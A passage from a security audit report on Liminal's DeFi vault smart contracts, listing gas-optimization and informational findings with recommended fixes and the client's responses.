Severity: Gas Optimization

Context: DepositPipe.sol#L202-L204

Description: `DepositPipe` repeats the authorization logic `controller == msg.sender || shareManager.isOperator(controller, msg.sender)` (e.g., at L202 and again around L289). Duplicating this gate increases bytecode size and the risk of diverging checks or error messages over time.

Recommendation: Consider to encapsulate this check in a dedicated modifier (or a single internal guard) and reuse it across all entrypoints that accept a `controller`. This improves readability, reduces bytecode, and keeps authorization behavior consistent. Also consider standardizing the revert path (single custom error) for clearer diagnostics and lower gas.

Liminal: Acknowledged.

Cantina Managed: Acknowledged.

3.3.5 Remove unused `Ownable2StepUpgradeable`

Severity: Gas Optimization

Context: DepositForwarder.sol#L19

Description: `Ownable2StepUpgradeable` is imported but not used across multiple contracts, adding bytecode weight and maintenance surface without functional benefit. Affected files include:

- `src/ShareManager.sol`.
- `src/NAVOracle.sol`.
- `src/FeeManager.sol`.
- `src/DepositPipe.sol`.
- `src/RedemptionPipe.sol`.
- `src/omnichain/OVaultComposerMulti.sol`.
- `src/PythPriceOracle.sol`.
- `src/VaultTimelockController.sol`.

Recommendation: Consider to remove the unused `Ownable2StepUpgradeable` import and any related inheritance where not required. If two-step ownership transfer is intended, consider to actually use and test it consistently; otherwise, prefer the simpler `OwnableUpgradeable` to reduce complexity and bytecode size.

Liminal: Fixed in commit 760e1420.

Cantina Managed: Fix verified.

3.3.6 Unused boolean return value

Severity: Gas Optimization

Context: ShareManager.sol#L192

Description: In `src/ShareManager.sol:192`, the function returns `true`, but the return value is not used by its caller(s) (e.g., in `FeeManager`). This adds no functional value and slightly increases bytecode and cognitive load.

Recommendation: Consider to remove the boolean return value and use a revert-on-failure pattern (with a clear custom error) so callers rely on side effects or reverts rather than unused booleans. This simplifies the interface and reduces bytecode.

Liminal: Acknowledged.

Cantina Managed: Acknowledged.

3.3.7 Redundant `owner` field in pending request structs

Severity: Gas Optimization

Context: RedemptionPipe.sol#L88-L98

Description: In `RedemptionPipe`, both `PendingRedeemRequest` and `PendingFastRedeemRequest` include an `owner` field even though the mappings are keyed by owner. Storing `owner` again is redundant, increases storage/gas, and risks inconsistencies if the key and stored value ever diverge.

Recommendation: Consider to remove the `owner` field from both structs and rely on the mapping key as the source of truth. This reduces storage, simplifies the data model, and avoids key/value drift.

Liminal: Fixed in commit 760e1420.

Cantina Managed: Fix verified.

3.3.8 Avoid external self-calls via `this` for `getDelay`

Severity: Gas Optimization

Context: VaultTimelockController.sol#L205

Description: In `VaultTimelockController` the pattern `this.getDelay(data)` (e.g., L205 and L242) triggers an external call to self, adding needless gas overhead and complexity. For a pure/view lookup, an external self-call is unnecessary.

Recommendation: Consider to call the function internally (no `this.`). If the current signature is `external`, consider to introduce an internal/public counterpart (e.g., `_getDelay`) and use that internally. This reduces gas and avoids creating external call frames to the same contract.

Liminal: Fixed in commit 760e1420.

Cantina Managed: Fix verified.

3.4 Informational

3.4.1 Incompatibility with Non-Standard Tokens Due to Strict Balance Check Upon Transfer

Severity: Informational

Context: RedemptionPipe.sol#L329-L334

Description: The redeem function in RedemptionPipe.sol performs a commendable security check by verifying that the liquidityProvider's balance has decreased by the exact amount of assets transferred. While this protects against certain token-related issues, it renders the protocol incompatible with non-standard ERC20 tokens, such as fee-on-transfer, rebasing, or proxy tokens, whose balance changes may not precisely match the transferred amount. This design choice limits the types of assets the vault can support in the future.

Recommendation: This is a design trade-off between security and flexibility, and the client has noted their intention on purposely not supporting these types of tokens with an aim towards security. Ideally, clearly document that the protocol exclusively supports standard ERC20 tokens that do not have transfer fees or rebasing mechanisms.

Liminal: Acknowledged. Won't fix: intended design decision.

Cantina Managed: Acknowledged.

3.4.2 Code Readability Improvements

Severity: Informational

Context: *(No context files were provided by the reviewer)*

1. Superfluous `virtual` Keyword (`OVaultComposerMulti.sol:149`): The `redeemAndSend` function is marked `virtual`, but no contracts in the provided scope inherit from `OVaultComposerMulti` and is the only function within that context with that keyword. If overriding is not intended, removing the `virtual` keyword will make the code's intent clearer.
2. Minor Formatting (`OVaultComposerMulti.sol:304`): An incorrect indentation exists. Correcting it will improve code consistency and readability.

Liminal: Fixed in `https://github.com/Lmnal/xtokens-spearbit/pull/25/commits`.

Cantina Managed: Fix verified.

3.4.3 Inspired ERC-7540 Interface Does Not Strictly Adhere to the Spec

Severity: Informational

Context: RedemptionPipe.sol#L18

Description: The `RedemptionPipe` contract is described as being ”7540 like” but deviates from a mandatory requirement of the ERC-7540 standard. The `fulfillFastRedeems` and `fulfillRedeems` functions directly ”push” assets to the user upon fulfillment. The ERC-7540 specification explicitly forbids this, requiring a ”pull” pattern where the user must call a separate claim function (`redeem` or `withdraw`) after their request becomes claimable. Additionally, the redemption processes can be short-circuited, which again goes against the spec. This deviation could mislead developers and integrators who expect strict adherence to the standard's two-step claim process.

Recommendation: This finding itself is by design from the client team.

However, clarity in documentation is essential. Add explicit NatSpec comments and external documentation to clearly state that this implementation uses a ”push” mechanism for redemptions and does not adhere to the standard ERC-7540 claim workflow. This will help prevent incorrect integration assumptions.

Liminal: Fixed in PR 22.

Cantina Managed: Fix verified.

3.4.4 Maliciously High `minMsgValue` Can Purposely Make Cross-Chain Transaction Stuck

Severity: Informational

Context: VaultComposerBase.sol#L89-L96

Description: The `lzCompose` function in `VaultComposerBase` is designed to handle incoming cross-chain messages. It uses a `try...catch` block to process these messages via the `handleCompose` function. The `handleCompose` logic, implemented in `OVaultComposerMulti._handleDepositAsset`, validates that the `msg.value` accompanying the LayerZero message is sufficient to cover the `minMsgValue` specified by the user in the original transaction payload.

A vulnerability exists where a user can maliciously or accidentally set an arbitrarily high `minMsgValue` in their source chain transaction. If this value is set higher than any reasonable `msg.value` that would be forwarded by the LayerZero relayer, the `require(msg.value < minMsgValue)` check will consistently fail. This causes the `handleCompose` call to revert, triggering the `catch` block but not initiating a refund, as there is a short-circuit on this conditional failure in the `catch` block.

While the administrative `recoverToken` mechanism prevents a loss of funds if the admin team decides to intervene, the message itself becomes effectively ”stuck.” Any automated or manual attempt to retry the message will result in the same `InsufficientMsgValue` revert, creating a denial-of-service condition for that specific transaction and requiring manual intervention to resolve the situation.

Recommendation: To prevent this and improve the robustness of the cross-chain messaging system, it is recommended to enforce a reasonable on-chain ceiling for `minMsgValue`. The `msgInspector` could be utilized for this purpose. In general, this is unlikely to be used as an actual griefing vector as it results in

user loss at unless wishing to just spam the architecture with destination LayerZero compose messages that cannot succeed.

Consider a privileged timelocked function, that potentially adds the guid of such cases, and in case it occurs, the guid could be added, the catch block short-circuit skipped, refund initiated and message cleared from the queue, minimizing manual intervention.

Liminal: Acknowledged, there is no reason for `minMsgValue` to be too high

Cantina Managed: Acknowledged.

3.4.5 Function Selector Collision in Timelock Could Weaken Security Guarantees

Severity: Informational

Context: VaultTimelockController.sol#L122-L134

Description: The `VaultTimelockController` contract uses four-byte function selectors to assign specific time delays to critical administrative functions across multiple contracts. While this is a standard pattern, it carries an inherent, low-probability risk of selector collisions. A selector collision occurs when two different function signatures produce the same four-byte hash.

In this system, a collision could undermine the timelock's security guarantees. For example, a non-critical function with a minimal 1-hour delay could, by chance, have the same selector as a highly critical function like `upgradeProxy(address,address)` in another contract, where the delay should be 7-days. If the `setFunctionDelay` for the non-critical function is processed last, it would inadvertently assign its shorter, less secure delay to the critical upgrade function, weakening the privileged timelock security model.

As a note, the currently audited contracts do not suffer from these collisions, but seeing they can be updated it would be useful to have measures in place to avoid this vulnerability.

Recommendation: To mitigate this risk, a defense-in-depth approach is recommended:

1. Implement a Collision Check: The most robust solution is to prevent the timelock from being configured with duplicate selectors. Modify the internal `_setFunctionDelay` function to revert if a delay is already explicitly set for a given selector. This will cause the deployment or configuration transaction to fail, immediately alerting developers to the collision so it can be resolved.

   ```
   // In VaultTimelockController.sol
   function _setFunctionDelay(bytes4 selector, uint256 delay) internal {
       VaultTimelockStorage storage $ = _getVaultTimelockStorage();
       // Add this check
       require(!$.hasExplicitDelay[selector], "VaultTimelock: Selector collision detected");
       $.functionDelays[selector] = delay;
       $.hasExplicitDelay[selector] = true;
   }
   ```

   If wanting lifecycle updates of delays, a separate update function will need to be implemented, which ideally has better safeguards than the current one.

2. Order by Criticality: As an alternative safeguard, the calls to `_setFunctionDelay` within `_configureCriticalFunctions` could be ordered from the least critical functions (shortest delays) to the most critical (longest delays). In the event of an undetected collision, this ordering ensures that the longer, more secure delay will be the one that is ultimately applied.

Liminal: Fixed in commit b1483def. We implemented the first option.

Cantina Managed: Fix verified.

3.4.6 Emit event on state transition functions

Severity: Informational

Context: ShareManager.sol#L322-L326, ShareManager.sol#L333-L337, ShareManager.sol#L343-L347, ShareManager.sol#L353-L357

Description: The functions `setOVaultComposerMulti`, `setMaxDeposit`, `setMaxSupply`, and `setMaxWithdraw` from contract `ShareManager` update governance-critical state (operator permissions and user/global limits) without emitting events. This reduces on-chain observability for monitoring, makes auditing configuration

changes harder, and hinders incident response. The same consideration applies to any other state-transition setters in `ShareManager` that modify roles, limits, or core addresses.

Recommendation: Consider to emit explicit events for each state change across `ShareManager`, including previous and new values and indexing relevant addresses. Apply this consistently to all state-transition setters (present and future) to improve monitoring and transparency.

Liminal: Fixed in commit 760e1420.

Cantina Managed: Fix verified.

3.4.7 `NAVOracle` does not support underlying tokens with `decimals > 18`

Severity: Informational

Context: NAVOracle.sol#L140-L145

Description: The function `_normalizeToDecimals18` only handles the case where `underlyingDecimals < 18`, leaving `== 18` and `> 18` unhandled. As a result, tokens with more than 18 decimals are not supported and normalization would be incorrect, impacting NAV calculations and any logic relying on 18-decimal normalization.

Recommendation: Consider to explicitly handle `< 18`, `== 18`, and `> 18` cases (or document and enforce a constraint if `> 18` is out of scope), and add tests for representative decimals to ensure consistent normalization.

Liminal: Acknowledged.

Cantina Managed: Acknowledged.

3.4.8 Non compliant ERC4626 deposit event

Severity: Informational

Context: DepositPipe.sol#L234

Description: The function `deposit` from contract `DepositPipe` emits a non-standard `sender` in the ERC-4626 `Deposit` event. The `Deposit` event is emitted with `controller` as the first argument. Under ERC-4626, the first parameter (`sender`) is expected to be the transaction caller (`msg.sender`). In your flow, an operator may call on behalf of a controller, so emitting `controller` diverges from the spec and can mislead indexers/aggregators that assume `sender == msg.sender`.

Recommendation: Consider to emit `msg.sender` as the first parameter of the `Deposit` event to align with ERC-4626 (`Deposit(address indexed sender, address indexed owner, uint256 assets, uint256 shares)`), keeping `receiver` as the `owner`. This improves compatibility with tools that rely on standard event semantics.

Liminal: Fixed in commit 760e1420.

Cantina Managed: Fix verified.

3.4.9 Non-upgradeable deployments due to proxy/implementation mismatch

Severity: Informational

Context: DepositForwarder.sol#L18

Description: Contracts are deployed behind `ERC1967Proxy` (per `script/Deploy.s.sol`), but the implementations do not inherit `UUPSUpgradeable` nor expose `upgradeTo`. The proxy used is also not a Transparent proxy. In this configuration there is no upgrade entrypoint, so the deployments are effectively non-upgradeable.

This pattern appears across the repo, including:

- `src/ShareManager.sol`.
- `src/NAVOracle.sol`.
- `src/FeeManager.sol`.

- `src/DepositPipe.sol` (USDT and USDe instances).
- `src/RedemptionPipe.sol` (USDT and USDe instances).
- `src/DepositForwarder.sol`.
- `src/omnichain/OVaultComposerMulti.sol`.
- `src/PythPriceOracle.sol` (USDT and USDe oracles).

Recommendation: Consider to align proxy and implementation patterns:

- Either adopt UUPS: inherit `UUPSUpgradeable`, implement authorization in `_authorizeUpgrade`, and expose the upgrade function; or...
- Switch to a Transparent proxy (e.g., `TransparentUpgradeableProxy`) with a ProxyAdmin and keep implementations as standard upgradeables.

Also consider to add an upgrade smoke test in CI to ensure the chosen pattern is correctly wired and governed.

Liminal: Acknowledged.

Cantina Managed: Acknowledged.

3.4.10 Request redeem payout forced to `owner`

Severity: Informational

Context: RedemptionPipe.sol#L410-L437, RedemptionPipe.sol#L507-L535

Description: In `RedemptionPipe`, the queued paths, `requestRedeemFast(shares, controller, owner)` and `requestRedeem(shares, controller, owner)`, do not accept or persist a `receiver`. Fulfillment (`_fulfillFastRedeem`/`_fulfillRedeem`) always pays the `owner`. This is asymmetric with instant paths (`redeem`/`withdraw`), which allow directing proceeds to any `receiver`. The asymmetry limits custody/payment routing use cases and creates inconsistent semantics between instant and queued redemptions.

Recommendation: Consider to accept and store a `receiver` in both request functions (e.g., add to `PendingFastRedeemRequest`/`PendingRedeemRequest`) and pay that `receiver` in fulfillment. Update events to include the `receiver` for observability.

Liminal: Fixed in commit 760e1420.

Cantina Managed: Fix verified.

3.4.11 Redundant `controller` parameter in queued requests

Severity: Informational

Context: RedemptionPipe.sol#L418-L421, RedemptionPipe.sol#L515-L518

Description: In `requestRedeemFast` and `requestRedeem`, the `controller` parameter is used only for an additional authorization check but is neither stored nor used for custody or payout. Shares are taken from `owner` and assets are later paid to `owner`, making `controller` semantically misleading and adding friction without functional benefit.

Recommendation: Consider to simplify authorization in queued paths to "caller is `owner` or an operator of `owner`" and remove the `controller` parameter. If compatibility is desired, consider to enforce `controller == owner` or rename parameters in instant flows (e.g., `from`) to clearly express the source of shares.

Liminal: Acknowledged.

Cantina Managed: Acknowledged.

3.4.12 Mis-targeted function selector in timelock config

Severity: Informational

Context: VaultTimelockController.sol#L149

Description: `VaultTimelockController` sets a delay for `setOVaultComposerMulti(address,address)`, which is a function of `ShareManager`. Using a hard-coded selector string here is fragile: if the target signature changes or the intent was to gate a function on this contract instead, the delay configuration will silently drift.

Recommendation: Consider to derive the selector from the target contract's interface (e.g., `ShareManager` ABI/type) or centralize selectors as constants referenced by both the timelock and the target. Also consider to document the intended target for each configured selector to avoid future misconfigurations.

Liminal: Acknowledged.

Cantina Managed: Acknowledged.

4 Appendix

4.1 High-Water Mark Logic Penalizes Performance Fee Collection

Context: FeeManager.sol#L135-L190

Description: The `collectPerformanceFee` function contains a logical flaw in its high-water mark implementation that unfairly penalizes the fee recipient. The function updates the `lastSupplyForPerformance` state variable *before* the new fee shares are minted. The subsequent minting of shares dilutes the Net Asset Value per Share (NAVPS). Because the high-water mark was set based on the pre-dilution total supply, the next performance fee calculation will incorrectly interpret this dilution as a performance loss. This means the protocol must first "recover" the value of the previously taken fee before any new performance fees can be accrued, even if the underlying strategies are net of fees profitable.

Recommendation: The high-water mark should be updated *after* the fee shares are minted to accurately reflect the post-fee state of the vault.

1. Ensure the state updates for `lastNAVForPerformance` and `lastSupplyForPerformance` stay after the `shareManager.mintFeesShares()` call.
2. When updating `lastSupplyForPerformance`, use the new total supply. This can be achieved either by calling `shareManager.totalSupply()` again or by adding the `sharesMinted` amount to the `currentSupply` variable:

```
//... inside collectPerformanceFee()
if (sharesMinted > 0) {
    $.shareManager.mintFeesShares($.feeReceiver, sharesMinted);
    emit PerformanceFeeTaken(sharesMinted, realPerformance, block.timestamp);
}

// CORRECTED LOGIC: Update high-water mark AFTER minting
$.lastNAVForPerformance = currentNAV;
$.lastSupplyForPerformance = $.shareManager.totalSupply(); // Or currentSupply + sharesMinted
```

4.2 Cross-chain withdrawal flow has multiple correctness gaps

Context: *(No context files were provided by the reviewer)*

Description: Found By Client.

The cross-chain withdrawal path (withdraw + bridge) in the omnichain flow contains several coordinated issues that prevent correct custody, burning, and bridging of assets:

- Incorrect receiver during withdrawal. The contract does not designate itself as the immediate receiver of assets when the user requests a withdrawal that must be bridged. For bridging to succeed, the contract must first take custody from the redemption pool and then forward cross-chain.
- Missing approval for the bridge step. After withdrawing assets to itself, the contract must approve the bridging/OFT mechanism to pull those assets. The approval step is missing, so the bridge cannot transfer funds.
- Parameter mismatch (shares vs. assets). The function uses the number of shares as if it were the amount of underlying assets. Since PPS ≠ 1, this underpays the user and burns an incorrect amount of shares, potentially leaving residual shares stuck.
- Incorrect controller assignment for burns. The controller for the burn is set to the user's address instead of the contract. To burn the shares the contract holds on behalf of the user, the contract must be the controller; otherwise the flow attempts to burn from the user externally or on the destination chain, leading to failures.

Liminal: Decided to remove the `withdrawal` functionality from the `OVaultMulti` contract.

Cantina Managed: Although the fix is not included on the current fix repository, erasing the functionality should remove all previous described issues.

4.3 Client-Identified Flaw in Performance Fee Calculation Under Rework

Context: FeeManager.sol#L135-L143

Description: During the course of this security review, the client's development team noted a logical flaw within the `collectPerformanceFee` function in the `FeeManager` contract. Their internal finding indicates that the mechanism for calculating performance fees does not properly distinguish between genuine yield generated by the vault's strategies and new capital inflows from user deposits.

Status & Context: The client's team reported this issue during the audit and were actively redesigning the performance fee mechanism to ensure a more accurate calculation.

Given that this component was undergoing significant rework by the client during the audit period, it was not subjected to the same level of in-depth scrutiny as other, more stable parts of the codebase. Consequently, other findings in this report related to the fee structure may not be applicable to the forthcoming, revised implementation.